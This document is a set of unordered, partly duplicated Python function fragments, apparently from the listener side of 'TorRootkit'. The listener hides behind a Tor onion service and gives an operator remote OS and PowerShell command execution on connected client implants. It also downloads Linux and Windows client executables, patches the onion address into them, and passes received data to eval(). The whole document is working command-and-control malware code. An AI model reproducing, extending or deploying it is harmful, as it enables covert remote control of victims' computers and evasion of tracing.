def __help_menu(self): Style.pos_sys_msg('Listener Shell Commands:\n') print('help - shows this help menu') print( 'list - lists all client connections and checks if they are active' ) print('select - start client shell by index') print('^C - exits the listener')
def __del__(self): try: self.tor_hidden_service.tor_process.terminate() except AttributeError: pass else: Style.neg_sys_msg('Terminated Tor Process') finally: Style.neg_sys_msg('Exiting')
def append_address(onion, port): port = str(port) for path in ['/executables/client_linux', '/executables/client_win.exe']: with open(path, 'a') as file: file.write(onion) # add padding to always use the same amount of bytes if len(port) < 5: rest = 5 - len(port) port = rest * '0' + port file.write(port) Style.pos_sys_msg('Appended onion address and port to executables')
def create(self) -> socket.socket: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', self.__port)) sock.listen(self.MAX_CONNECTIONS) except socket.error as error: Style.neg_sys_msg(error) sys.exit(1) else: Style.pos_sys_msg( 'Created socket and bound to hidden service forward port') return sock
def send(self, task, args): """ The Listener always sends a dictionary containing, A task and a list of optional arguments. """ try: data = {'task': task, 'args': args} data = str(data) self.__conn.send(data.encode('utf-8')) except socket.error as error: Style.neg_sys_msg('Error while sending: {}'.format(error)) sys.exit(1) else: Style.pos_sys_msg('==> send {} bytes'.format(sys.getsizeof(data)))
def __init__(self, name, listener_port, forward_port): self.name = name # listen and forward port configured in /etc/tor/torrc self.listener_port = listener_port self.forward_port = forward_port # create hidden service directory if not os.path.isdir(self.BASE_DIR): os.mkdir(self.BASE_DIR) # the owner has full permissions over dir (equivalent to chmod 700) os.chmod(self.BASE_DIR, stat.S_IRWXU) ps = ProgressSpinner('Starting Tor Process') ps.start() self.tor_process = self.launch() ps.stop() print() Style.pos_sys_msg('Onion: {}'.format(self.get_onion_address()))
def receive(self, buffer_size): """ The client always sends back the output of the current task, and the current working directory as a dictionary. """ try: data = self.__conn.recv(buffer_size) if len(data) <= 0: return -1, -1 num_bytes = sys.getsizeof(data) data = data.decode('utf-8') data = eval(data) except socket.error as error: Style.neg_sys_msg('Error while receiving: {}'.format(error)) self.__conn.close() return -1, -1 else: Style.pos_sys_msg('<== received {} bytes'.format(num_bytes)) return data['output'], data['cwd']
def download_executables(): ps = ProgressSpinner('Downloading sample executables') ps.start() client_linux = requests.get( 'https://github.com/emcruise/TorRootkit/releases/download/linux-latest/client' ) client_win = requests.get( 'https://github.com/emcruise/TorRootkit/releases/download/win-latest/client.exe' ) ps.stop() print() Style.pos_sys_msg('Download complete') with open('/executables/client_linux', 'wb') as client_linux_file: client_linux_file.write(client_linux.content) with open('/executables/client_win.exe', 'wb') as client_win_file: client_win_file.write(client_win.content)
def launch(self): try: tor_process = stem.process.launch_tor_with_config( config={ 'SocksListenAddress': '127.0.0.1:{}'.format(self.TOR_SOCKS_PORT), 'SocksPort': '{}'.format(self.TOR_SOCKS_PORT), 'HiddenServiceDir': '{}'.format(self.BASE_DIR), 'HiddenServiceVersion': '3', 'HiddenServicePort': '{} 127.0.0.1:{}'.format(self.listener_port, self.forward_port) }) except Exception as error: Style.neg_sys_msg('Error while starting tor: {}'.format(error)) sys.exit(1) return tor_process
def execute(self, command) -> int: """ Executes the user input from the client shell. Returns 0 if there is expected output that should be received from the socket, returns -1 if there is no expected output and -2 to exit the shell. """ if command == 'help': Style.pos_sys_msg('Client Shell Commands:\n') print('help - shows this help menu') print('os <command> - executes <command> on the remote system') print('pwsh <command> - executes <command> on the remote system in powershell') print('background - Backgrounds the current shell and returns to listener') print('^C - exits the client shell and closes connection to client') return -1 elif command == '': return -1 elif command[:2] == 'os': self.client.send('EXECUTE', [command[3:]]) elif command[:4] == 'pwsh': self.client.send('POWERSHELL', [command[5:]]) elif command == 'exit': Style.pos_sys_msg('Exiting client shell') self.client.send('EXIT', []) return -2 elif command == 'background': return -2 else: Style.neg_sys_msg('Command not recognized') return -1 return 0
def __list_clients(self): index = 0 for client in self.listener_socket.get_clients(): try: client.send('ACTIVE', []) data, cwd = client.receive(1024) if data == -1 and cwd == -1: Style.neg_sys_msg('Client {} inactive'.format(index)) except socket.error: Style.neg_sys_msg('Client {} inactive'.format(index)) else: if data == 'ACTIVE': Style.pos_sys_msg('Client {} active'.format(index)) else: Style.neg_sys_msg('Client {} inactive'.format(index)) index += 1
def run(self): """ The core part of the listener shell. Runs endlessly unless an exception occurs or exit is entered. """ Style.pos_sys_msg('Starting shell with client') # initialize cwd for shell self.client.send('', '') output, cwd = self.client.receive(1024) if output == -1 and cwd == -1: return while True: try: command = input('{} > '.format(cwd)) except KeyboardInterrupt: print() _ = self.execute('exit') Style.pos_sys_msg('Closed connection to client') break # determine if output needs to be send to not interrupt socket cycle execution_status = self.execute(command) # nothing needs to be send if execution_status == -1: continue # socket needs to be used to receive command output elif execution_status == 0: # receive the client output output, cwd = self.client.receive(self.BUFFER_SIZE) if output == -1 and cwd == -1: break print(output) # exit client shell elif execution_status == -2: break else: raise ValueError( 'Output of self.execute should be 0, -1 or -2.')
def run(self): while True: try: self.__command = input('listener > ') except KeyboardInterrupt: print() break if self.__command != '': command_function_map = { 'exit': self.__exit_shell, 'help': self.__help_menu, 'list': self.__list_clients, 'select': self.__start_client_shell, 'del': self.__delete_client } func = command_function_map.get( self.__command.split(" ")[0], lambda: Style.neg_sys_msg('Command unknown')) func()
def run(self): """ The <start> method runs as a thread and endless. It handles all incoming client connections and stores the according client objects in <self.__clients>. """ Style.pos_sys_msg('Listening for clients') while True: try: client_objects = self.__sock.accept() client = Client(client_objects) self.__clients.append(client) Style.client_connect_msg() except socket.error as error: Style.neg_sys_msg(error) sys.exit(1)
def execute(self, command): if command == '': pass elif command == 'exit': sys.exit(0) elif command == 'help': Style.pos_sys_msg('Listener Shell Commands:\n') print('help - shows this help menu') print('list - lists all client connections and checks if they are active') print('select - start client shell by index') print('^C - exits the listener') elif command == 'list': index = 0 for client in self.listener_socket.get_clients(): try: client.send('ACTIVE', []) data, cwd = client.receive(1024) if data == -1 and cwd == -1: Style.neg_sys_msg('Client {} inactive'.format(index)) except socket.error: Style.neg_sys_msg('Client {} inactive'.format(index)) else: if data == 'ACTIVE': Style.pos_sys_msg('Client {} active'.format(index)) else: Style.neg_sys_msg('Client {} inactive'.format(index)) index += 1 elif command[:6] == 'select': index = int(command[7]) client = self.listener_socket.get_client(index) shell = ClientShell(client) shell.run() elif command[:3] == 'del': index = int(command[4]) self.listener_socket.del_client(index) else: Style.neg_sys_msg('Command unknown')
def get_client(self, index): try: return self.__clients[index] except IndexError: Style.neg_sys_msg('Client Index out of range.')
def del_client(self, index): try: del (self.__clients[index]) except IndexError: Style.neg_sys_msg('Client Index out of range.')